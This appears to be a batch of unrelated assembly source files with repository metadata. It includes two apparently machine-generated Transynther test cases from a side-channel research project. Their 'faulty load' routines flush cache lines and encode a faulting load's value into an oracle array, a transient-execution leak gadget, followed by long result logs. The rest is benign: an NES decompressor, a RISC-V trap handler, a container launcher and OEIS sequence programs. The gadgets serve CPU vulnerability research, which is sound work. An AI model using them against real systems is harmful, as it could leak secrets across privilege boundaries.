Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_18812_1239.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_18812_1239.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_18812_1239.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xd98b, %rsi lea addresses_WT_ht+0x1544b, %rdi nop nop and $50461, %rax mov $1, %rcx rep movsw sub %rdx, %rdx lea addresses_A_ht+0x6b6b, %r10 clflush (%r10) xor %r9, %r9 mov $0x6162636465666768, %rdx movq %rdx, %xmm1 movups %xmm1, (%r10) nop nop nop nop and %rax, %rax lea addresses_UC_ht+0x1b96b, %rsi lea addresses_A_ht+0x1416b, %rdi clflush (%rsi) and $11210, %rbx mov $6, %rcx rep movsb nop nop nop nop nop sub $6582, %rdi lea addresses_normal_ht+0x1526b, %rsi lea addresses_WT_ht+0xb5cb, %rdi nop nop nop nop inc %rdx mov $50, %rcx rep movsq nop nop nop nop cmp %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %r9 push %rax push %rcx // Store lea addresses_D+0x1a189, %r13 nop and $65487, %r15 movw $0x5152, (%r13) cmp %rax, %rax // Store lea addresses_D+0x199ab, %r15 nop nop nop nop inc %r11 mov $0x5152535455565758, %r12 movq %r12, (%r15) nop nop nop inc %r13 // Store lea addresses_US+0x603, %r9 clflush (%r9) nop nop and %r11, %r11 movl $0x51525354, (%r9) nop and $4525, %r9 // Faulty Load lea addresses_PSE+0x1e56b, %rax nop nop nop xor $9338, %rcx mov (%rax), %r13w lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rcx pop %rax pop %r9 pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}} {'33': 18812} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
39.944444
2,999
0.659075
bf648a9887e510efe87601b3b8a67b920e096aef
6,232
asm
Assembly
src/ppu/decomp_tiles.asm
freem/nes_corelib
a890aa3c436e931a765866265f24ccf3c432f71d
[ "0BSD" ]
16
2015-06-23T03:17:40.000Z
2021-10-05T23:40:28.000Z
nes_corelib/src/ppu/decomp_tiles.asm
master-g/childhood
7cd2a6a13f7e862df6d239e78371df6222b30a53
[ "Apache-2.0" ]
null
null
null
nes_corelib/src/ppu/decomp_tiles.asm
master-g/childhood
7cd2a6a13f7e862df6d239e78371df6222b30a53
[ "Apache-2.0" ]
3
2015-11-12T01:29:55.000Z
2020-07-06T05:15:06.000Z
; File: ppu/decomp_tiles.asm ; PRG-ROM to CHR-RAM tile decompressor ; ; Code by tokumaru, from http://forums.nesdev.com/viewtopic.php?f=2&t=5860 ; Variables: Tile decompressor variables ; These variables are in the zero page starting at $00C0. ; ; ColorCount - number of colors that can follow each color ; NextColor0 - first color that can follow each color ; NextColor1 - second color that can follow each color ; NextColor2 - third color that can follow each color ; SpecifiedColor - color necessary to find all the colors that follow a color (shares location with TempBit) ; TempBit - temporally holds a bit when reading 2 from the stream (shares location with SpecifiedColor) ; CurrentColor - color that can be followed by other colors (shares location with CurrentRow) ; CurrentRow - backup of the index of the row being worked on (shares location with CurrentColor) ; InputStream - pointer to the data being decompressed ; TileCount - number of tiles to decompress ; BitBuffer - buffer of bits comming from the stream ; Plane0 - lower plane of a tile's row ; Plane1 - upper plane of a tile's row ; PlaneBuffer - buffer that holds the second plane until it's time to output it .enum $00C0 ColorCount .dsb 4 ;number of colors that can follow each color NextColor0 .dsb 4 ;first color that can follow each color NextColor1 .dsb 4 ;second color that can follow each color NextColor2 .dsb 4 ;third color that can follow each color SpecifiedColor ;color necessary to find all the colors that follow a color TempBit .dsb 1 ;temporally holds a bit when reading 2 from the stream CurrentColor ;color that can be followed by other colors CurrentRow .dsb 1 ;backup of the index of the row being worked on InputStream .dsb 2 ;pointer to the data being decompressed TileCount .dsb 1 ;number of tiles to decompress BitBuffer .dsb 1 ;buffer of bits comming from the stream Plane0 .dsb 1 ;lower plane of a tile's row Plane1 .dsb 1 ;upper plane of a tile's row PlaneBuffer .dsb 8 ;buffer that holds the second plane until it's time to output it .ende ; Routine: DecompressTiles ; Decompresses a group of tiles from PRG-ROM to CHR-RAM. DecompressTiles: ;clear the bit buffer lda #$80 sta BitBuffer ;copy the tile count from the stream ldy #$00 lda (InputStream), y sta TileCount iny -StartBlock: ;start by specifying how many colors can follow color 3 and listing all of them ldx #$03 -ProcessColor: ;copy from the stream the number of colors that can follow the current one jsr +Read2Bits sta ColorCount, x ;go process the next color if the current one is only followed by itself beq +AdvanceColor ;read from the stream the one color necessary to figure all of them out lda #$01 sta SpecifiedColor jsr +ReadBit bcc + inc SpecifiedColor jsr +ReadBit bcc + inc SpecifiedColor + cpx SpecifiedColor bcc +ListColors dec SpecifiedColor +ListColors: ;assume the color is going to be listed lda SpecifiedColor pha ;go list the color if it's the only one that can follow the current one lda ColorCount, x cmp #$02 bcc +List1Color ;keep the color from being listed if only 2 colors follow the current one bne +FindColors pla +FindColors: ;save a copy of the current color so that values can be compared to it stx CurrentColor ;find the 2 colors that are not the current one or the specified one lda #$00 - cmp SpecifiedColor beq + cmp CurrentColor beq + pha sec + adc #$00 cmp #$04 bne - ;skip listing the third color if only 2 can follow the current one lda ColorCount, x cmp #$02 beq +List2Colors ;write the third color that can follow the current one pla sta NextColor2, x +List2Colors: ;write the second color that can follow the current one pla sta NextColor1, x +List1Color: ;write the first color that can follow the current one pla sta NextColor0, x +AdvanceColor: ;move on to the next color if there are still colors left dex bpl -ProcessColor ;pretend that all pixels of the previous row used color 0 lda #$00 sta Plane0 sta Plane1 -DecodeTile: ;prepare to decode 8 rows ldx #$07 -DecodeRow: ;decide between repeating the previous row or decoding a new one jsr +ReadBit bcs +WriteRow ;prepare the flag that will indicate the end of the row lda #$01 sta Plane1 ;remember which row is being decoded stx CurrentRow ;read a pixel from the stream and draw it jsr +Read2Bits bpl +DrawNewPixel -CheckCount: ;go draw the pixel if its color can't be followed by any other lda ColorCount, x beq +RepeatPixel ;decide between repeating the previous pixel or decoding a new one jsr +ReadBit bcs +RepeatPixel ;skip if more than one color can follow the current one lda ColorCount, x cmp #$01 bne +DecodeColor ;go draw the only color that follows the current one lda NextColor0, x bcs +DrawNewPixel +DecodeColor: ;decode a pixel from the stream jsr +ReadBit bcs + lda NextColor0, x bcc +DrawNewPixel + lda ColorCount, x cmp #$03 bcc + jsr +ReadBit bcs ++ + lda NextColor1, x bcc +DrawNewPixel ++ lda NextColor2, x +DrawNewPixel: ;make a copy of the pixel for the next iteration tax -DrawPixel: ;draw the pixel to the row lsr rol Plane0 lsr rol Plane1 ;go process the next pixel if the row isn't done bcc -CheckCount ;restore the index of the row ldx CurrentRow +WriteRow: ;output the fist plane of the row and buffer the second one lda Plane0 sta $2007 lda Plane1 sta PlaneBuffer, x ;move on to the next row if there are still rows left dex bpl -DecodeRow ;output the second plane of the tile ldx #$07 - lda PlaneBuffer, x sta $2007 dex bpl - ;return if there are no more tiles to decode dec TileCount beq +Return ;decide between decoding another tile or starting a new block jsr +ReadBit bcc -DecodeTile jmp -StartBlock +RepeatPixel: ;go draw a pixel of the same color as the previous one txa bpl -DrawPixel +Read2Bits: ;read 2 bits from the stream and return them in the accumulator jsr +ReadBit rol TempBit jsr +ReadBit lda TempBit rol and #$03 rts +ReadBit: ;read a bit from the stream and return it in the carry flag asl BitBuffer bne +Return + lda (InputStream), y iny bne + inc InputStream+1 + rol sta BitBuffer +Return: ;return rts
23.428571
108
0.74984
17ff77e08ce166792438cf5a0e10bd21777491e7
2,682
asm
Assembly
kernel/src/arch/riscv32/boot/trap.asm
elliott10/rCore
1e59734578979eec736a112c31b700091caa98b8
[ "MIT" ]
null
null
null
kernel/src/arch/riscv32/boot/trap.asm
elliott10/rCore
1e59734578979eec736a112c31b700091caa98b8
[ "MIT" ]
null
null
null
kernel/src/arch/riscv32/boot/trap.asm
elliott10/rCore
1e59734578979eec736a112c31b700091caa98b8
[ "MIT" ]
null
null
null
# Constants / Macros defined in Rust code: # XLENB # LOAD # STORE # TEST_BACK_TO_KERNEL .macro SAVE_ALL # If coming from userspace, preserve the user stack pointer and load # the kernel stack pointer. If we came from the kernel, sscratch # will contain 0, and we should continue on the current stack. csrrw sp, sscratch, sp bnez sp, trap_from_user trap_from_kernel: csrr sp, sscratch STORE gp, -1 # sscratch = previous-sp, sp = kernel-sp trap_from_user: # provide room for trap frame addi sp, sp, -37 * XLENB # save x registers except x2 (sp) STORE x1, 1 STORE x3, 3 STORE x4, 4 STORE x5, 5 STORE x6, 6 STORE x7, 7 STORE x8, 8 STORE x9, 9 STORE x10, 10 STORE x11, 11 STORE x12, 12 STORE x13, 13 STORE x14, 14 STORE x15, 15 STORE x16, 16 STORE x17, 17 STORE x18, 18 STORE x19, 19 STORE x20, 20 STORE x21, 21 STORE x22, 22 STORE x23, 23 STORE x24, 24 STORE x25, 25 STORE x26, 26 STORE x27, 27 STORE x28, 28 STORE x29, 29 STORE x30, 30 STORE x31, 31 # load hartid to gp from sp[36] LOAD gp, 36 # get sp, sstatus, sepc, stval, scause # set sscratch = 0 csrrw s0, sscratch, x0 csrr s1, sstatus csrr s2, sepc csrr s3, stval csrr s4, scause # store sp, sstatus, sepc, sbadvaddr, scause STORE s0, 2 STORE s1, 32 STORE s2, 33 STORE s3, 34 STORE s4, 35 .endm .macro RESTORE_ALL LOAD s1, 32 # s1 = sstatus LOAD s2, 33 # s2 = sepc andi s0, s1, 1 << 8 # sstatus.SPP = 1 bnez s0, _to_kernel # s0 = back to kernel? _to_user: addi s0, sp, 37*XLENB csrw sscratch, s0 # sscratch = kernel-sp STORE gp, 36 # store hartid from gp to sp[36] _to_kernel: # restore sstatus, sepc csrw sstatus, s1 csrw sepc, s2 # restore x registers except x2 (sp) LOAD x1, 1 LOAD x3, 3 LOAD x4, 4 LOAD x5, 5 LOAD x6, 6 LOAD x7, 7 LOAD x8, 8 LOAD x9, 9 LOAD x10, 10 LOAD x11, 11 LOAD x12, 12 LOAD x13, 13 LOAD x14, 14 LOAD x15, 15 LOAD x16, 16 LOAD x17, 17 LOAD x18, 18 LOAD x19, 19 LOAD x20, 20 LOAD x21, 21 LOAD x22, 22 LOAD x23, 23 LOAD x24, 24 LOAD x25, 25 LOAD x26, 26 LOAD x27, 27 LOAD x28, 28 LOAD x29, 29 LOAD x30, 30 LOAD x31, 31 # restore sp last LOAD x2, 2 .endm .section .text .globl trap_entry trap_entry: SAVE_ALL mv a0, sp jal rust_trap .globl trap_return trap_return: RESTORE_ALL # return from supervisor call sret
20.630769
72
0.586875
9d14d02cdfd2fa8f8147e2483e08b1b8da80f1b7
187
asm
Assembly
codes/string_output.asm
rupak10987/ASSEMBLY_language_practice
f7cc73a745919a69519ff70c38f92aba152e8f98
[ "MIT" ]
null
null
null
codes/string_output.asm
rupak10987/ASSEMBLY_language_practice
f7cc73a745919a69519ff70c38f92aba152e8f98
[ "MIT" ]
null
null
null
codes/string_output.asm
rupak10987/ASSEMBLY_language_practice
f7cc73a745919a69519ff70c38f92aba152e8f98
[ "MIT" ]
null
null
null
.model small .stack 100h .data msg1 db 'hello$' .code main proc mov ax, @data mov ds,ax lea dx,msg1 mov ah,9 int 21h mov ah,4ch int 21h main endp end main
12.466667
17
0.59893
87bf26083814254934eb1d2fa9ecdf5ae6ff0431
4,574
asm
Assembly
run-container.asm
GalladeGuy/code-golf
2f87deadcca08cacf70418c4341c1d74bfa7356e
[ "MIT" ]
null
null
null
run-container.asm
GalladeGuy/code-golf
2f87deadcca08cacf70418c4341c1d74bfa7356e
[ "MIT" ]
null
null
null
run-container.asm
GalladeGuy/code-golf
2f87deadcca08cacf70418c4341c1d74bfa7356e
[ "MIT" ]
null
null
null
GID_nobody equ 99 UID_nobody equ 99 MNT_DETACH equ 2 MS_BIND equ 1 << 12 MS_REC equ 1 << 14 MS_PRIVATE equ 1 << 18 SYS_write equ 1 SYS_execve equ 59 SYS_exit equ 60 SYS_chdir equ 80 SYS_setuid equ 105 SYS_setgid equ 106 SYS_pivot_root equ 155 SYS_mount equ 165 SYS_umount2 equ 166 SYS_sethostname equ 170 BITS 64 org 0x400000 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2 ; e_ident times 2 db 1 ; e_ident cont. times 9 db 0 ; e_ident cont. dw 2 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq start ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum times 3 dw 0 ; e_shentsize, e_shnum, e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf64_Phdr dd 1 ; p_type dd 5 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr times 2 dq filesize ; p_filesz, p_memsz dq 0x1000 ; p_align phdrsize equ $ - phdr host db "code-golf" hostsize equ $ - host fullroot db "rootfs/old-root", 0 oldroot db "old-root", 0 rootfs db "rootfs", 0 slash db "/", 0 slash_proc db "/proc", 0 slash_tmp db "/tmp", 0 proc db "proc", 0 tmpfs db "tmpfs", 0 stage db "ABCDEFGHIJK" start: ; [A] mount / as private mov rax, SYS_mount ; rdi starts as 0 mov rsi, slash mov r10, MS_PRIVATE|MS_REC ; r8 starts as 0 syscall mov r12, stage test eax, eax jnz exit ; [B] bind mount rootfs mov rax, SYS_mount mov rdi, rootfs mov rsi, rdi xor edx, edx mov r10, MS_BIND|MS_REC syscall inc r12 test eax, eax jnz exit ; [C] pivot to rootfs mov rax, SYS_pivot_root ; rdi is still rootfs mov rsi, fullroot syscall inc r12 test eax, eax jnz exit ; [D] change directory to / mov rax, SYS_chdir mov rdi, slash syscall inc r12 test eax, eax jnz exit ; [E] unmount the old root mov rax, SYS_umount2 mov rdi, oldroot mov rsi, MNT_DETACH syscall inc r12 test eax, eax jnz exit ; [F] mount /proc as proc mov rax, SYS_mount mov rdi, slash_proc mov rsi, rdi mov edx, proc xor r10, r10 xor r8, r8 syscall mov r12, stage test eax, eax jnz exit ; [G] mount /tmp as tmpfs mov rax, SYS_mount mov rdi, slash_tmp mov rsi, rdi mov edx, tmpfs xor r10, r10 xor r8, r8 syscall mov r12, stage test eax, eax jnz exit ; [H] set the hostname mov rax, SYS_sethostname mov rdi, host mov rsi, hostsize syscall inc r12 test eax, eax jnz exit ; [I] set the group mov rax, SYS_setgid mov rdi, GID_nobody syscall inc r12 test eax, eax jnz exit ; [J] set the user mov rax, SYS_setuid mov rdi, UID_nobody syscall inc r12 test eax, eax jnz exit ; [K] syscall(SYS_execve, argv[0], argv, 0); mov rax, SYS_execve lea rsi, [rsp + 8] ; argv mov rdi, [rsi] ; argv[0] xor edx, edx syscall inc r12 exit: mov rax, SYS_write mov rdi, 1 mov rsi, r12 mov rdx, 1 syscall mov rax, SYS_exit mov rdi, 1 syscall filesize equ $ - $$
23.57732
65
0.428072
cc275987cbb004bad7ee5efcb0921f9daf7d52c9
411
asm
Assembly
programs/oeis/291/A291004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/291/A291004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/291/A291004.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A291004: p-INVERT of (1,1,1,1,1,...), where p(S) = (1 - 3*S)^2. ; 6,33,168,816,3840,17664,79872,356352,1572864,6881280,29884416,128974848,553648128,2365587456,10066329600,42681237504,180388626432,760209211392,3195455668224,13400297963520,56075093016576,234195976716288,976366325465088,4063794976260096 mov $2,$0 add $0,3 mov $1,2 add $2,2 mov $3,$0 mul $3,2 pow $1,$3 add $2,$3 mul $1,$2 div $1,256 mul $1,3
27.4
237
0.73236
1652e08123406560b351d7e85bc2ddb9c4ce89e0
598
asm
Assembly
oeis/336/A336694.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/336/A336694.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/336/A336694.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A336694: a(n) = A329697(1+sigma(n)), where A329697 is totally additive with a(2) = 0 and a(p) = 1 + a(p-1) for odd primes. ; 0,0,1,0,2,2,2,0,2,3,2,3,2,2,2,0,3,1,3,4,3,3,2,3,0,4,2,4,3,3,3,0,4,3,4,3,3,3,4,4,4,2,3,2,4,3,4,3,3,4,3,4,3,4,3,4,4,4,3,4,4,2,4,0,2,4,4,5,2,4,3,4,3,4,3,5,2,4,4,3,3,5,2,4,4,5,4,4,4,5,3,4,5,4,4,5,4,4,4,4 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). mov $2,$0 seq $2,329697 ; a(n) is the number of iterations needed to reach a power of 2 starting at n and using the map k -> k-(k/p), where p is the largest prime factor of k. mov $0,$2
74.75
201
0.607023
57607f7e8928bc198f7131f5b5011e69f2159ecb
567
asm
Assembly
programs/oeis/004/A004765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/004/A004765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/004/A004765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A004765: Numbers whose binary expansion does not begin 111. ; 0,1,2,3,4,5,6,8,9,10,11,12,13,16,17,18,19,20,21,22,23,24,25,26,27,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,128,129,130 mov $2,$0 mov $3,6 lpb $3 add $1,1 mov $3,$0 mov $4,$0 sub $4,6 lpb $4 mul $1,2 mul $4,2 trn $4,$3 lpe sub $1,1 mov $3,0 lpe lpb $2 add $1,1 sub $2,1 lpe mov $0,$1
23.625
307
0.610229
8a4e827f956ca4202d57b6e815262b03be0fad00
297
asm
Assembly
oeis/040/A040306.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040306.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040306.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040306: Continued fraction for sqrt(325). ; Submitted by Christian Krause ; 18,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36 min $0,1 add $0,1 mul $0,18
37.125
190
0.680135
e4c8c6647151631d2c487e46273cc53a1d36edc1
4,914
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_969.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x14cd6, %rsi lea addresses_UC_ht+0x138a6, %rdi nop nop nop nop sub %r11, %r11 mov $25, %rcx rep movsq nop nop xor $21432, %r9 lea addresses_normal_ht+0x7146, %rbx nop add $51088, %r13 mov (%rbx), %r11d nop nop nop nop dec %rbx lea addresses_WC_ht+0x31de, %rcx nop nop nop and $49896, %r13 mov (%rcx), %ebx nop nop nop nop add %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %rbp push %rbx push %rdx // Store lea addresses_UC+0x677a, %r12 nop nop nop nop and %rbx, %rbx mov $0x5152535455565758, %rbp movq %rbp, %xmm5 movups %xmm5, (%r12) nop nop xor $34243, %rdx // Faulty Load lea addresses_PSE+0x10ba6, %rdx clflush (%rdx) nop nop nop nop nop inc %r11 mov (%rdx), %r14 lea oracles, %r13 and $0xff, %r14 shlq $12, %r14 mov (%r13,%r14,1), %r14 pop %rdx pop %rbx pop %rbp pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 